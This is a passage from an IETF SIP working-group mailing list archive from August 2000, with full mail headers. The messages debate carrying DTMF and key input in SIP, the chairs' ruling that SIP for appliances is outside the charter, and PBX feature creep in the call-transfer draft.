Internet Mail Service (5.5.2652.35) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Mike: It would help if you could clarify the following: 1. What do we exactly mean by the IP Telephony (application)? 2. What is the relationship between the IP Telephony (application) and SIP? Best regards, Radhika R. Roy AT&T -----Original Message----- From: Mike Kallas [mailto:mkforietf@yahoo.com] Sent: Monday, August 07, 2000 4:41 PM To: Scott Petrack; Richard Shockey Cc: Henning Schulzrinne; Skip Cave; sip@lists.bell-labs.com; skipcave@connect.net Subject: Re: [SIP] DTMF and Universal Key Input I think we need to start distinguishing between the session layer protocol and the application layer protocols. I think that DTMF, message waiting or any messages not related to session initiation or tear down should not be in SIP. However there is a huge demand for standardization of the communication of events that are: 1- application specific (IP Telephony) and 2- are either in session or out of session. I believe we need to create an IPTelephony Service/Application platform interface protocol. This protocol will interface between a telephony server running SIP signaling, Megaco Control or even H.323 and the service / application platform that needs the used input or user indication: This protocol would be an application level protocol. The application being "IPTelephony". It would be independent of SIP and would handle all the event signaling and function invocation needed by a service platform. Keep SIP simple and clean and address all the application stuff in one place Mike --- Scott Petrack wrote: > the point is not which one will take over the world. > The point is that the > applications are similar in many many cases. Today > the user experience is > that s/he can > > press '1' or say 'yes' > > Now it's just not really relevant that 99% of the > people press '1' and 1% > say 'yes.' Nor is it relevant that there will be > many places where one can > only press '1'. What is relevant is that the > INFORMATION to be encoded and > transported is IDENTICAL, whether '1' is pressed or > 'yes' is said. So from > the presentation layer down to the transport layer, > it's hard to see why > we need two different methods. > > I got the impression that Skip and others wanted to > enable the Internet > and Internet-connected devices to offer the same key > input service that > the PSTN and > PSTN devices offer today. Well, today, whether '1' > is pressed or 'yes' is > said, the real-time data is transported to a remote > device and gets > interpreted into a 'user input command'. > > The point of people who identify voice reco with key > input is that it is a > recipe for trouble if these two end-user events get > transported in two > completely different ways. If you need the keypress > to be transported > along the signalling path, then you also need the > "yes" to be transported > along the signaling path. And the encoding should > also be as similar as > possible, since the information to be encoded and > transported is similar. > > In both cases the data should be encoded and > transported as RTP, because > this is the only way you will get the same key input > service that you have > today. It is the only way to put saying 'yes' and > pressing '1' on an equal > footing, where they need to be. > > If you want to build an IVR controlled signaling > point, it is no problem > at all: the first answer to the SIP INVITE points to > a host that can > receive ONLY the DTMF payload type, no other. At > this point, the calling > phone can receive prompts via G.xxx ordinary audio, > and the calling phone > can only send DTMF back (because that's the only > codec the answerer > supports). This host might well be a signalling > server. It is hardly > rocket science to build an RTP stack which supports > the DTMF codec only. > After some DTMF, the session can be modified so that > the call is > transferred to another host which can handle the > proper audio codecs. > This is the translation into IP telephony of the > service which exists > today, which as far as I understand, is the > requirement. What is the > problem with this solution? Is the problem that the > signaling server now > has to understand DTMF-in-RTP, this is really not a > very difficult codec > to master, and surely we all prefer to have one way > of doing one thing > than having two or three? In addition, I'll bet that > you'll find it really > useful to be able to have multiple receivers for the > DTMF, etc. all the > standard RTP services for this audio signaling. > > It may well be that there is a need for some new > signaling to tell a > device to go into key input mode, or to send the > DTMF codecs to one place > and the ordinary audio to another, or something. But > these needs have > nothing to do with the encoding or transport of the > information, it seems > to me. > > > Scott Petrack > http://800.edial.com/scott.petrack@edial.com > > > On Sun, 6 Aug 2000, Richard Shockey wrote: > > > At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne > wrote: > > >It's not that I think that key(board) input will > go away, just that it > > >won't be 12 buttons with numbers and */#. The > notion that this is in any > > >way tied to telephone service will go away. We'll > obviously have lots of > > >key input. It's the web now, both forms > (including speech input) and > > >applets, telnet/ssh/rlogin, IM, irc and maybe > other mechanisms. > > > > > >Why tie remote key(board) input to SIP or VoIP? > If telnet (and kin) or > > >web-based input modalities are not good enough, > we need to discuss this, > > >but that has nothing whatsoever to do with VoIP. > SIP may or may not be > > >the appropriate solution there. I don't want to > SUBSCRIBE to the > > >keyboard, I want to have an appropriate > interaction with an abstract > > >user interface that is far richer. For simple > ASCII, telnet will > > >probably do the trick (or the WAP "card" mode, if > you like that model). > > > > For what its worth I completely agree with Skip > here on the use of 12d > > keypads in applications. These classes of > terminals will not go away and > > will only increase in usage for several reasons > particularly mobile. > > > > 1. The use of E.164 numbering to identify SIP > endpoints ( aka The ENUM WG , > > since I'm co-chair I need to get a small ad in > here) and E.164 numbering is > > Globally Unique. > > > > 2. As Skip rightly pointed out numbers are > Linguistically Neutral > > ..something the IETF is still trying to deal with > in IDN. > > > > 3. Numbers are "domain less" addressing. > > > > 4. I continue to hear arguments about voice > recognition taking over but > > I've heard these arguments for 10 years now and > DTMF imput for applications > > just gets bigger and bigger. > > > > > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > > Richard Shockey > > Senior Technical Industry Liaison > > NeuStar Inc. > > 1120 Vermont Avenue N.W. > > Suite 550 > > Washington DC. 20005 > > Voice 314.503.0640 > > Fax to EMail 815.333.1237 (Preferred for Fax) > > DC Number 202.533.2811 > > INTERNET Mail & IFAX : rich.shockey@neustar.com > > or rshockey@ix.netcom.com > > http://www.neustar.com > > > > <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 17:17:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09548 for ; Mon, 7 Aug 2000 17:17:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9D4D04435A; Mon, 7 Aug 2000 17:16:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210]) by lists.bell-labs.com (Postfix) with ESMTP id 506664433E for ; Mon, 7 Aug 2000 17:16:36 -0400 (EDT) Received: from jmpolk-8k (ssh.cisco.com [171.69.10.34]) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id OAA08189; Mon, 7 Aug 2000 14:16:31 -0700 (PDT) Message-Id: <4.1.20000807161443.00c36100@diablo.cisco.com> X-Sender: jmpolk@diablo.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Mon, 07 Aug 2000 16:16:21 -0500 To: "Rosen, Brian" , sip@lists.bell-labs.com From: "James M. Polk" Subject: Re: [SIP] SIP for Appliances In-Reply-To: <4FBEA8857476D311A03300204840E1CF6786C3@whq-msgusr-02.fore. com> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_2455838==_.ALT" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --=====================_2455838==_.ALT Content-Type: text/plain; charset="us-ascii" Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already...... DOH! :-p At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. > >Brian Rosen >Joerg Ott >Dean Willis > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > ************************************* "At the end of the day... the most committed win!" James M. Polk Sr. Product Manager, Multiservice Architecture and Standards Enterprise Voice Business Unit Cisco Systems Dallas, Texas w) 972.813.5208 f) 972.813.5280 www.cisco.com --=====================_2455838==_.ALT Content-Type: text/html; charset="us-ascii"
Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already......

DOH!

:-p


At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote:
>The discussion on SIP for appliances has been fascinating,
>and many good points have been raised.  Use of SIP to CONTROL
>appliances may or may not be the greatest thing since sliced
>bread, but, unfortunately, falls outside of the SIP working
>group charter:
>"SIP is a text-based protocol, similar to HTTP and SMTP, for
>initiating interactive communication sessions between users.
>Such sessions include voice, video, chat, interactive games,
>and virtual reality."
>
>We encourage the authors of the draft to create a mailing list
>for the subject.  They will be welcome to post an announcement
>of such a list on the main SIP list.  If the discussion proves as
>lively as it has been, you may consider asking for a BOF at the
>next IETF meeting.
>
>Since we have a ton of work to accomplish that falls within the
>charter of the SIP WG, the chairs would like to cut off discussion
>of this subject on the SIP list. 
>
>We do not wish to curtail sip discussions that focus on devices
>that facilitate multimedia communications between users
>(such as dedicated IP phones, kitchen-counter mail/web/sip boxes,
>set-top-boxes, and so on). These are within scope, and are encouraged.
>
>Brian Rosen
>Joerg Ott
>Dean Willis
>
>
>
>_______________________________________________
>SIP mailing list
>SIP@lists.bell-labs.com
>

*************************************
"At the end of the day... the most committed win!"

James M. Polk
Sr. Product Manager, Multiservice Architecture and Standards
Enterprise Voice Business Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f)  972.813.5280
www.cisco.com --=====================_2455838==_.ALT-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 17:24:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13203 for ; Mon, 7 Aug 2000 17:24:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3899344362; Mon, 7 Aug 2000 17:23:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from kevlar.softarmor.com (dwillis1.directlink.net [63.64.250.82]) by lists.bell-labs.com (Postfix) with ESMTP id 6D3F64433E for ; Mon, 7 Aug 2000 17:23:44 -0400 (EDT) Received: from flyer (IDENT:root@localhost [127.0.0.1]) by kevlar.softarmor.com (8.9.3/8.9.3) with SMTP id DAA10125; Tue, 8 Aug 2000 03:26:26 -0500 From: "Dean Willis" To: "James M. Polk" , "Rosen, Brian" , Subject: RE: [SIP] SIP for Appliances Date: Mon, 7 Aug 2000 16:24:40 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0020_01C0008B.FCBD6A60" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <4.1.20000807161443.00c36100@diablo.cisco.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0020_01C0008B.FCBD6A60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit And doing a darned fine job of it! Somebody has to lasso you dogies, and I'm way too nice. -- Dean -----Original Message----- From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of James M. Polk Sent: Monday, August 07, 2000 4:16 PM To: Rosen, Brian; sip@lists.bell-labs.com Subject: Re: [SIP] SIP for Appliances Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already...... DOH! :-p At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. > >Brian Rosen >Joerg Ott >Dean Willis > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > ************************************* "At the end of the day... the most committed win!" James M. Polk Sr. Product Manager, Multiservice Architecture and Standards Enterprise Voice Business Unit Cisco Systems Dallas, Texas w) 972.813.5208 f) 972.813.5280 www.cisco.com ------=_NextPart_000_0020_01C0008B.FCBD6A60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
And=20 doing a darned fine job of it! Somebody has to lasso you dogies, and I'm = way too=20 nice.
 
--
Dean
-----Original Message-----
From:=20 sip-admin@lists.bell-labs.com = [mailto:sip-admin@lists.bell-labs.com]On=20 Behalf Of James M. Polk
Sent: Monday, August 07, 2000 = 4:16=20 PM
To: Rosen, Brian; = sip@lists.bell-labs.com
Subject: Re:=20 [SIP] SIP for Appliances

Jeez..... less than a week on the job and he's telling people = with=20 creative ideas to shuddup already......

DOH!

:-p


At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote:
>The discussion on SIP for appliances has been = fascinating,
>and many good points have been raised.  Use of SIP to=20 CONTROL
>appliances may or may not be the greatest thing since = sliced
>bread, but, unfortunately, falls outside of the SIP = working
>group charter:
>"SIP is a text-based protocol, similar to HTTP and SMTP, for =
>initiating interactive communication sessions between users. =
>Such sessions include voice, video, chat, interactive games, =
>and virtual reality."
>
>We encourage the authors of the draft to create a mailing = list
>for the subject.  They will be welcome to post an=20 announcement
>of such a list on the main SIP list.  If the discussion = proves=20 as
>lively as it has been, you may consider asking for a BOF at = the
>next IETF meeting.
>
>Since we have a ton of work to accomplish that falls within = the=20
>charter of the SIP WG, the chairs would like to cut off=20 discussion
>of this subject on the SIP list. 
>
>We do not wish to curtail sip discussions that focus on = devices=20
>that facilitate multimedia communications between users
>(such as dedicated IP phones, kitchen-counter mail/web/sip = boxes,=20
>set-top-boxes, and so on). These are within scope, and are=20 encouraged.
>
>Brian Rosen
>Joerg Ott
>Dean Willis
>
>
>
>_______________________________________________
>SIP mailing list
>SIP@lists.bell-labs.com
>http://lists.bell-labs.com/mailman/listinfo/sip
>

*************************************
"At the = end of the=20 day... the most committed win!"

James M. Polk
Sr. = Product=20 Manager, Multiservice Architecture and Standards
Enterprise Voice = Business=20 Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f) =20 972.813.5280
www.cisco.com ------=_NextPart_000_0020_01C0008B.FCBD6A60-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 18:06:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04286 for ; Mon, 7 Aug 2000 18:06:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DA42F44349; Mon, 7 Aug 2000 18:05:43 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by lists.bell-labs.com (Postfix) with ESMTP id 92DF644348 for ; Mon, 7 Aug 2000 18:05:40 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42261) id <0FYY00J0101F2S@firewall.mcit.com> for sip@lists.bell-labs.com; Mon, 7 Aug 2000 22:05:39 +0000 (GMT) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0FYY00BK701FJG@firewall.mcit.com>; Mon, 07 Aug 2000 22:05:39 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) id <0FYX00M01ZZ5JO@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:05:38 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FYX00M01ZXZJE@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:03:38 +0000 (GMT) Received: from C25776A ([166.35.224.243]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FYX00HMXZXMYT@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:03:23 +0000 (GMT) Date: Mon, 07 Aug 2000 17:03:04 -0500 From: Henry Sinnreich Subject: RE: [SIP] SIP for Appliances In-reply-to: <4.1.20000807161443.00c36100@diablo.cisco.com> To: "James M. Polk" , "Rosen, Brian" , sip@lists.bell-labs.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: multipart/alternative; boundary="Boundary_(ID_2aEsAAHEz6fVRmf97ZLFGQ)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. --Boundary_(ID_2aEsAAHEz6fVRmf97ZLFGQ) Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Did we take a vote on this? Don't remember. Henry >Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: -----Original Message----- From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of James M. Polk Sent: Monday, August 07, 2000 4:16 PM To: Rosen, Brian; sip@lists.bell-labs.com Subject: Re: [SIP] SIP for Appliances Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already...... DOH! :-p At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. > >Brian Rosen >Joerg Ott >Dean Willis > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > ************************************* "At the end of the day... the most committed win!" James M. Polk Sr. Product Manager, Multiservice Architecture and Standards Enterprise Voice Business Unit Cisco Systems Dallas, Texas w) 972.813.5208 f) 972.813.5280 www.cisco.com --Boundary_(ID_2aEsAAHEz6fVRmf97ZLFGQ) Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
Did we=20 take a vote on this? Don't remember.
 
Henry
 
>Use of=20 SIP to CONTROL
>appliances may or = may not be the=20 greatest thing since sliced
>bread, but, = unfortunately, falls=20 outside of the SIP working
>group = charter:
-----Original Message-----
From:=20 sip-admin@lists.bell-labs.com = [mailto:sip-admin@lists.bell-labs.com]On=20 Behalf Of James M. Polk
Sent: Monday, August 07, 2000 = 4:16=20 PM
To: Rosen, Brian; = sip@lists.bell-labs.com
Subject: Re:=20 [SIP] SIP for Appliances

Jeez..... less than a week on the job and he's telling people = with=20 creative ideas to shuddup already......

DOH!

:-p


At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote:
>The discussion on SIP for appliances has been = fascinating,
>and many good points have been raised.  Use of SIP to=20 CONTROL
>appliances may or may not be the greatest thing since = sliced
>bread, but, unfortunately, falls outside of the SIP = working
>group charter:
>"SIP is a text-based protocol, similar to HTTP and SMTP, for =
>initiating interactive communication sessions between users. =
>Such sessions include voice, video, chat, interactive games, =
>and virtual reality."
>
>We encourage the authors of the draft to create a mailing = list
>for the subject.  They will be welcome to post an=20 announcement
>of such a list on the main SIP list.  If the discussion = proves=20 as
>lively as it has been, you may consider asking for a BOF at = the
>next IETF meeting.
>
>Since we have a ton of work to accomplish that falls within = the=20
>charter of the SIP WG, the chairs would like to cut off=20 discussion
>of this subject on the SIP list. 
>
>We do not wish to curtail sip discussions that focus on = devices=20
>that facilitate multimedia communications between users
>(such as dedicated IP phones, kitchen-counter mail/web/sip = boxes,=20
>set-top-boxes, and so on). These are within scope, and are=20 encouraged.
>
>Brian Rosen
>Joerg Ott
>Dean Willis
>
>
>
>_______________________________________________
>SIP mailing list
>SIP@lists.bell-labs.com
>http://lists.bell-labs.com/mailman/listinfo/sip
>

*************************************
"At the = end of the=20 day... the most committed win!"

James M. Polk
Sr. = Product=20 Manager, Multiservice Architecture and Standards
Enterprise Voice = Business=20 Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f) =20 972.813.5280
www.cisco.com --Boundary_(ID_2aEsAAHEz6fVRmf97ZLFGQ)-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 18:20:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11136 for ; Mon, 7 Aug 2000 18:20:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 891B044359; Mon, 7 Aug 2000 18:19:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id 6D90C44348 for ; Mon, 7 Aug 2000 18:19:49 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0FYY005010P0CA@firewall.mcit.com> for sip@lists.bell-labs.com; Mon, 7 Aug 2000 22:19:48 +0000 (GMT) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0FYY00M5A0P0GF@firewall.mcit.com>; Mon, 07 Aug 2000 22:19:48 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) id <0FYY002010OXKJ@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:19:48 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FYY002010M790@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:18:15 +0000 (GMT) Received: from C25776A ([166.35.224.243]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FYY00MDL0M3X5@dgismtp02.wcomnet.com>; Mon, 07 Aug 2000 22:18:03 +0000 (GMT) Date: Mon, 07 Aug 2000 17:17:44 -0500 From: Henry Sinnreich Subject: RE: [SIP] The NOTIFY method In-reply-to: <20000807153710.21109.qmail@web118.yahoomail.com> To: Tom Gray , Robert Sparks , sip@lists.bell-labs.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit >May I ask why SIP is being extended to include PBX >feature handling? SIP phones can provide the PBX features without the (IP)PBX. Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Tom Gray >Sent: Monday, August 07, 2000 10:37 AM >To: Robert Sparks; sip@lists.bell-labs.com >Subject: Re: [SIP] The NOTIFY method > > >May I ask why SIP is being extended to include PBX >feature handling? Isn't this an example of creeping >featurism which could kill a protocol? > >--- Robert Sparks wrote: >> If you have not already done so, please look over >> draft-ietf-sip-cc-transfer-00.txt (attached for >> convenience) and comment. >> >> We missed the original target for completing this >> work. If there are any issues with the draft, lets >> work through them as soon as possible. >> >> Thanks! >> RjS >> >> > > >__________________________________________________ >Do You Yahoo!? >Kick off your party with Yahoo! Invites. >http://invites.yahoo.com/ > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 18:48:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25096 for ; Mon, 7 Aug 2000 18:48:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D50CC44354; Mon, 7 Aug 2000 18:48:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web108.yahoomail.com (web108.yahoomail.com [205.180.60.75]) by lists.bell-labs.com (Postfix) with SMTP id 9235B44348 for ; Mon, 7 Aug 2000 18:48:36 -0400 (EDT) Received: (qmail 16888 invoked by uid 60001); 7 Aug 2000 22:48:35 -0000 Message-ID: <20000807224835.16887.qmail@web108.yahoomail.com> Received: from [216.208.117.52] by web108.yahoomail.com; Mon, 07 Aug 2000 15:48:35 PDT Date: Mon, 7 Aug 2000 15:48:35 -0700 (PDT) From: Tom Gray Subject: RE: [SIP] The NOTIFY method To: Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --- Henry Sinnreich wrote: > >May I ask why SIP is being extended to include PBX > >feature handling? > > SIP phones can provide the PBX features without the > (IP)PBX. > > Henry > What levels of features do you then see being created with SIP? There a a whole host of PBX features. It seems that you are asking for a subset. Tom Gray > >-----Original Message----- > >From: sip-admin@lists.bell-labs.com > >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of > Tom Gray > >Sent: Monday, August 07, 2000 10:37 AM > >To: Robert Sparks; sip@lists.bell-labs.com > >Subject: Re: [SIP] The NOTIFY method > > > > > >May I ask why SIP is being extended to include PBX > >feature handling? Isn't this an example of creeping > >featurism which could kill a protocol? > > > >--- Robert Sparks wrote: > >> If you have not already done so, please look over > >> draft-ietf-sip-cc-transfer-00.txt (attached for > >> convenience) and comment. > >> > >> We missed the original target for completing this > >> work. If there are any issues with the draft, > lets > >> work through them as soon as possible. > >> > >> Thanks! > >> RjS > >> > >> > > > > > >__________________________________________________ > >Do You Yahoo!? > >Kick off your party with Yahoo! Invites. > >http://invites.yahoo.com/ > > > > > >_______________________________________________ > >SIP mailing list > >SIP@lists.bell-labs.com > >http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 18:54:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27783 for ; Mon, 7 Aug 2000 18:54:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by 